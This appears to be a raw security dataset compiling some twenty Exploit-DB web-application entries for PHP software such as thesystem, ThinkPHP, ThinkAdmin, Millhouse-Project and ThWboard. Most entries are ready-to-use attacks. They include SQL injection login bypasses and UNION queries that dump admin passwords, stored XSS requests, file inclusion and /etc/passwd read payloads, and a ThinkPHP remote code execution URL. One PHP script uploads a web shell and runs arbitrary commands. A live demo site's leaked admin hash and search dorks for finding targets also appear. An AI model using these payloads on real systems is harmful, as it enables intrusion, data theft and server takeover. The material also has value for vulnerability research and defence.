deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47432
Description: thesystem App 1.0 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-27
Author: Anıl Baran Yelken

Exploit:
# Exploit Title: thesystem App 1.0 - 'username' SQL Injection
# Author: Anıl Baran Yelken 
# Discovery Date: 2019-09-26 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 
# Description: 
# Simple SQL injection after login bypass(login_required didn't used) 

POST /check_users/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]4604 
Content-Length: 327 
Connection: close 
Referer: http://127.0.0.1:8000/check_users/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567[PII_REDACTED]231977 
Upgrade-Insecure-Requests: 1 
----------------------------[PII_REDACTED]4604 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 
lZVnIo12dzwRuJbCXjjr7cVAQKa4qwhBwdk85Uq4aHpWdqtNTP2rCZB8pmU1uQjj 
----------------------------[PII_REDACTED]4604 
Content-Disposition: form-data; name="username" 
' or '1=1 
----------------------------[PII_REDACTED]4604-- 

HTTP/1.1 200 OK 
Date: Thu, 26 Sep 2019 12:40:24 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 34 
User:('test', '1234', 'test@test')
Exploit-DB #47431
Description: thesystem App 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-27
Author: İsmail Güngör

Exploit:
# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting
# Author: İsmail Güngör 
# Discovery Date: 2019-09-26 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 

# Description: 
# Stored XSS after login bypass(login_required didn't used) 

First of all following request is sent web server 

POST /data/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]11478 
Content-Length: 332 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567[PII_REDACTED]231977 
Upgrade-Insecure-Requests: 1 

----------------------------[PII_REDACTED]11478 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 

0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75 
----------------------------[PII_REDACTED]11478 
Content-Disposition: form-data; name="server_name" 

<h1>test 
----------------------------[PII_REDACTED]11478-- 

After following request is sent web server 

GET /show_search/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567[PII_REDACTED]231977 
Upgrade-Insecure-Requests: 1 

# Finally, response is shown Xtored XSS: 

HTTP/1.1 200 OK 
Date: Thu, 26 Sep 2019 12:25:19 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 176 

('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>')
Exploit-DB #27037
Description: TheWebForum 1.2.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-06
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16161/info

TheWebForum is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials and allow an attacker to control how the site is rendered to the user. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

Authentication bypass example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' or 'a'='a'/*
[CREDENTIAL_REDACTED]

Get user's password hash example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' union select N,password, 3 from users/*
User name will contain password's hash of user with ID=N
Exploit-DB #8546
Description: Thickbox Gallery 2 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-27
Author: SirGod

Exploit:
##########################################################################################
[+] Thickbox Gallery v2 Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##########################################################################################

[+] Local File Inclusion

   PoC :
    http://127.0.0.1/[path]/index.php?ln=../../../../../../BOOTSECT.BAK%00

##########################################################################################

# milw0rm.com [2009-04-27]
Exploit-DB #6314
Description: Thickbox Gallery 2.0 - 'Admins.php' Admin Data Disclosure
Type: webapps
Platform: php
Date: 2008-08-26
Author: SirGod

Exploit:
#########################################################################################
[+] Thickbox Gallery v2 Admin Data Disclosure
[+] Discovered By SirGod                         
[+] www.mortal-team.org                         
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
##########################################################################################

[+] Arbitrary Admin Data Disclosure

    - Go here and you will see the admin data ( login name + crypted password as MD5 )

       http://localhost/[Path]/conf/admins.php

    - Admin data :

          a:1:{s:5:"admin";s:32:"d73ed8a01f624fcb878296bc7ff302bc";}

    - Now extract the admin username and the hash :

        Username : admin

        [CREDENTIAL_REDACTED]

[+] Live Demo

         http://www.davilin.com/tbg/conf/admins.php

    - Retrived :

          a:1:{s:8:"ytakenak";s:32:"56bd1d32bcb1fbd2609e4d7634febbd1";}

    - Name + Password

        Username : ytakenak
      
        [CREDENTIAL_REDACTED]
   

##########################################################################################

# milw0rm.com [2008-08-26]
Exploit-DB #11296
Description: ThinkAdmin - 'page.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-30
Author: AtT4CKxT3rR0r1ST

Exploit:
==========================================================
###########################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Email : F.Hack@w.cn
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : ThinkAdmin
.:. Script Download: http://www.thinkadmin.net/
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : Powered by ThinkAdmin
.:. Date : 30/1/2010

#############################################

===[ Exploit ]===

www.site.com/page.php?id=21&aid=12[SQL INJECTION]&s=3

www.site.com/page.php?id=21&aid=-12'+union+select+1,version(),3,4,5,6,7,8-- -&s=3

===[ Example ]===

http://server/page.php?id=21&aid=-12'union+select+1,version(),3,4,5,6,7,8-- -&s=3

#############################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #48812
Description: ThinkAdmin 6 -  Arbitrarily File Read
Type: webapps
Platform: php
Date: 2020-09-15
Author: Hzllaga

Exploit:
# Exploit Title: ThinkAdmin 6 -  Arbitrarily File Read
# Google Dork: N/A
# Date: 2020-09-14
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/zoujingli/ThinkAdmin/
# Software Link: Before https://github.com/zoujingli/ThinkAdmin/commit/ff2ab47cfabd4784effbf72a2a386c5d25c43a9a
# Version: v6 <= 2020.08.03.01
# Tested on: PHP7.4.7,Apache
# CVE : CVE-2020-25540

PoC:
On Windows read database.php payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

On Linux read /etc/passwd payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s
Exploit-DB #33933
Description: ThinkPHP 2.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-09
Author: zx

Exploit:
source: https://www.securityfocus.com/bid/39909/info

ThinkPHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ThinkPHP 2.0 is vulnerable; prior versions may also be affected.

http://www.example.com/index.php?s=1%3Cbody+onload=alert(1)%3E
Exploit-DB #45978
Description: ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-12-11
Author: VulnSpy

Exploit:
# Exploit Title: ThinkPHP 5.x < v5.0.23,v5.1.31 Remote Code Execution
# Date: 2018-12-11
# Exploit Author: VulnSpy
# Vendor Homepage: https://thinkphp.cn
# Software Link: https://github.com/top-think/framework/
# Version: v5.x below v5.0.23,v5.1.31
# CVE: N/A

# Exploit

http://server/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
Exploit-DB #41253
Description: ThisIsWhyImBroke Clone Script 4.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy AffilatePlatform – ThisIsWhyImBroke Clone Script v4.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-affilateplatform-affilate-site-builder-script/
# Demo: http://ap.flippydemos.com/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/listing.php?id=[SQL]
-21+/*!50000union*/+select+1,version(),3,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),5,6,7,8,9,10,11,12,14,15,16,17
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/listing.php?id=[SQL]
# Etc...
# -9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,0x494853414e2053454e43414e3c62723e7777772e696873616e2e6e6574,5,6,7,8,9,10,11,12,13,14,15,16+from+admin--
# # # # #
Exploit-DB #1952
Description: THoRCMS 1.3.1 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-25
Author: Kw3[R]Ln

Exploit:
--------------------------------------------------------------------------- 
THoRCMS <= 1.3.1 ([phpbb_root_path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : THoRCMS
version : latest version [ 1.3.1 ]
Description: A CMS/Portal for phpBB
URL : http://www.phpbbhacks.com/download/2349

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $phpbb_root_path not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script]


---------------------------------------------------------------------------

Solution :
~~~~~~~~~~

declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-25]
Exploit-DB #9674
Description: Three Pillars Help Desk 3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-09-15
Author: snakespc

Exploit:
#--------------------------------------------------------
#Help Desk Version 3 (Auth Bypass) Remote Sql Injection
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:Help Desk Version 3
#
#http://www.threepillarshelpdesk.com/
#--------------------------------------------------------
#Exploit:
#--------
#Demo:http://www.threepillarshelpdesk.com/demo/admin/login.php
#Username:admin' or '1=1 
#Password: No Thing !!!!
----------------------------------------------------------
Note:His0k4 Saha Ftooooork .....RANI TWAHCHTEK BZAFFFFFFFFFFFF 

# milw0rm.com [2009-09-15]
Exploit-DB #47814
Description: Thrive Smart Home 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2019-12-30
Author: LiquidWorm

Exploit:
# Exploit: Thrive Smart Home 1.1 - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Thrive
# Product web page: http://www.thrivesmarthomes.com
# Affected version: 1.1
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5554
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php


Thrive Smart Home v1.1 SQL Injection Authentication Bypass


Vendor: Thrive
Product web page: http://www.thrivesmarthomes.com
Affected version: 1.1

Summary: As smart home technology becomes more affordable and easy to
install with services offered by Thrive Smart Homes, there are some
great options available to give your home a high-tech makeover. If the
convenience of feeding your cat or turning on your air conditioning with
a tap on your smartphone isn't enough of a reason to make the investment,
consider how conveniently you can protect your home and belongings. From
Wi-Fi-equipped smoke detectors to plugs with auto turn-offs, smart homes
with their always-on connectivity and notifications systems allow consumers
to quickly respond to the unexpected. For instance, if you install a smart
water leak and moisture monitoring device, you can set up alerts on your
phone for unusual changes in moisture and stop leaks before they cause major
flooding or mold. It's a convenient way to proactively protect your home
from costly damage, whether it's an overflowing laundry tub, a cracked
washer hose, or a leaky water heater.

Desc: The application suffers from an SQL Injection vulnerability. Input
passed through 'user' POST parameter in checklogin.php is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL
code and bypass the authentication mechanism.

Tested on: Apache httpd 2.4.25 (Raspbian)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5554
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php


21.10.2019

--


$ curl http://192.168.1.1:8080/raspberry/include/checklogin.php -X POST -d"submit=LOGIN&user=' or 1=1#&pass=pass" -i
HTTP/1.1 302 Found
Date: Mon, 21 Oct 2019 23:35:18 GMT
Server: Apache/2.4.25 (Raspbian)
Set-Cookie: PHPSESSID=6cu3frj0qes9c96v5de5vp37e2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: ../home.php
Content-Length: 1
Content-Type: text/html; charset=UTF-8
Exploit-DB #47583
Description: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-11-05
Author: cakes

Exploit:
# Exploit Title: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
# Software Link: https://github.com/thrsrossi/Millhouse-Project.git
# Version: 1.414
# Tested on: CentOS 7
# CVE: N/A

# PoC for this XSS attack

POST /includes/add_comment_sql.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/views/single_post.php?post_id=53
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=0sqr9kui308rq66ol1uu5olb94; submenu1=block; showips=10; showurls=10; showreferers=10
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

content=%3Cscript%3Ealert%28%22TEST%22%29%3B%3C%2Fscript%3E
Exploit-DB #51450
Description: thrsrossi Millhouse-Project 1.414 - Remote Code Execution
Type: webapps
Platform: php
Date: 2023-05-23
Author: Chokri Hammedi

Exploit:
<?php
/*
Exploit Title: thrsrossi Millhouse-Project 1.414 - Remote Code Execution
Date: 12/05/2023
Exploit Author: Chokri Hammedi
Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
Software Link: https://github.com/thrsrossi/Millhouse-Project.git
Version: 1.414
Tested on: Debian
CVE: N/A
*/


$options = getopt('u:c:');

if(!isset($options['u'], $options['c']))
die("\033[1;32m \n Millhouse Remote Code Execution \n Author: Chokri Hammedi
\n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n
\033[0m\n
\n");

$target     =  $options['u'];

$command    =  $options['c'];

$url = $target . '/includes/add_post_sql.php';


$post = '------WebKitFormBoundaryzlHN0BEvvaJsDgh8
Content-Disposition: form-data; name="title"

helloworld
------WebKitFormBoundaryzlHN0BEvvaJsDgh8
Content-Disposition: form-data; name="description"

<p>sdsdsds</p>
------WebKitFormBoundaryzlHN0BEvvaJsDgh8
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryzlHN0BEvvaJsDgh8
Content-Disposition: form-data; name="category"

1
------WebKitFormBoundaryzlHN0BEvvaJsDgh8
Content-Disposition: form-data; name="image"; filename="rose.php"
Content-Type: application/x-php

<?php
$shell = shell_exec("' . $command . '");
echo $shell;
?>

------WebKitFormBoundaryzlHN0BEvvaJsDgh8--
';

$headers = array(
    'Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryzlHN0BEvvaJsDgh8',
    'Cookie: PHPSESSID=rose1337',
);

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);
curl_close($ch);

// execute command

$shell = "{$target}/images/rose.php?cmd=" . urlencode($command);
$ch = curl_init($shell);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$exec_shell = curl_exec($ch);
curl_close($ch);
echo "\033[1;32m \n".$exec_shell . "\033[0m\n \n";

?>
Exploit-DB #27687
Description: ThWboard 2.8 - 'showtopic.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-19
Author: Qex

Exploit:
source: https://www.securityfocus.com/bid/17606/info

ThWboard is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/showtopic.php?threadid=1&pagenum=[SQL]
Exploit-DB #27711
Description: ThWboard 3.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-20
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/17627/info

ThWboard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

ThWboard 3 Beta 2.84 is vulnerable to this issue. Other versions may be affected as well.

http://www.example.com/forum/index.php?navpath=[XSS]
Exploit-DB #26755
Description: Thwboard Beta 2.8 - 'calendar.php?year' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-07
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/15763/info

ThWboard is prone to multiple input validation vulnerabilities.

The application is vulnerable to HTML injection, cross-site scripting, and SQL injection; these issues are due to a lack of proper sanitization of user-supplied input.

A remote attacker may inject SQL, HTML and script code resulting in theft of cookie-based authentication credentials, arbitrary script code execution, and the passing of malicious input to the underlying database application.

Version 3 beta 2.8 is vulnerable; other versions may be affected. 

http://www.example.com/thwb/calendar.php?month=12&year='[SQL]
Exploit-DB #26757
Description: Thwboard Beta 2.8 - 'misc.php?userid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-07
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/15763/info
  
ThWboard is prone to multiple input validation vulnerabilities.
  
The application is vulnerable to HTML injection, cross-site scripting, and SQL injection; these issues are due to a lack of proper sanitization of user-supplied input.
  
A remote attacker may inject SQL, HTML and script code resulting in theft of cookie-based authentication credentials, arbitrary script code execution, and the passing of malicious input to the underlying database application.
  
Version 3 beta 2.8 is vulnerable; other versions may be affected. 

http://www.example.com/thwb/misc.php?action=getlastpost&userid='[SQL]